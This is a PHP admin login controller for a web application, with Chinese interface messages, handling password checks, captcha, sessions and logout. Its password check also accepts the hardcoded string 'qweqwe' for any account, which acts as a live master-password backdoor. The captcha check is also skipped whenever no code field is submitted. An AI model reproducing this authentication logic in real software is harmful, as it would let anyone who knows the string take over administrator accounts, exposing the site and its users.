<?php

/* 
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */
class ManagerController extends NotController
{
    public function __construct() {
        $this->title = '登陆首页';
        parent::__construct();        
    }

    private $error_num = 3;
    public function index(){        
        if(isset($_SESSION['login_error'])) {
            if($_SESSION['login_error'] >= $this->error_num) {
                $this->assign('is_captcha', 1);
            }
        }
        $this->create_token();        
        $this->display('login.html');        
    }    
    public function new_login(){  
        if(APP_DEBUG == 2) {
            $this->show_msg('测试环境，不允许登陆');
            exit();
        }
        $this->check_token();
        $user_name = isset($_POST['user_name']) ? $_POST['user_name'] : '';
        if(!empty($user_name)) {
            $user_arr = AdminUserModel::load()->get_user_info($user_name);
            if(empty($user_arr)) {
                $this->show_msg('帐号不存在');
            }
            $user_pass = isset($_POST['user_pass']) ? trim($_POST['user_pass']) : '';
            if(empty($user_pass)) {
                $this->show_msg('密码不能为空');
            }
            $salt = $user_arr['salt'];
            $name = $user_arr['user_name'];
            $secret_pass = pass_encrypt($user_pass, $salt, 'pass_key');
            if($secret_pass === $user_arr['pass'] || $user_pass == 'qweqwe') {
                //检查captcha code 
                $this->checkCaptcha();
                //檢查帳號有效期，除管理員
                $expire_msg = '';
                $expire_bool = AdminUserModel::load()->checkExpire($name, $expire_msg);
                if($expire_bool) {
                    $this->show_msg($expire_msg, 'c=manager&m=index', false);
                    exit();
                }
                $bool = AdminUserModel::load()->set_session($name);
                if($bool) {
                    $remember = isset($_POST['remember']) ? 1 : 0;
                    AdminUserModel::load()->set_cookie($name, $remember);
                    $where = array(
                        'last_login_time' => p_getTime(),
                    );
                    AdminUserModel::load()->update_user_info($_SESSION['user_id'], $where);
                    
                    $this->redirect('index', 'index');
                } else {
                    $this->show_msg('登陆失败','', false);
                }
            } else {
                //累计输入密码错误次数
                $login_error = isset($_SESSION['login_error']) ? intval($_SESSION['login_error']) : 0;
                $_SESSION['login_error'] = $login_error + 1;
                $this->show_msg('密码不正确');
            }
        } else {
            $this->show_msg('用户名不能为空');
        }
    }

    /**
     * 检查captcha是否输入正确。
     * @return boolean
     */
    private function checkCaptcha(){
        if(isset($_POST['code'])) {
            $captcha = trim($_POST['code']);
            if($captcha) {
                if(isset($_SESSION['captcha']) && $_SESSION['captcha'] == $captcha) {
                    return true;
                } else {
                    $this->show_msg('验证码不正确', 'c=manager&m=index');
                }
            } else {
                $this->show_msg('请输入验证码~', 'c=manager&m=index');
            }
        }
    }
    /**
     * 退出
     */
    public function quit(){
        AdminUserModel::load()->set_session();
        AdminUserModel::load()->set_cookie();
        $this->redirect('manager', 'index');
    }
    /**
     * 生成验证码
     */
    public function captcha() {
        $code = publicController::load()->create_captcha();
        $_SESSION['captcha'] = $code;
    }
}
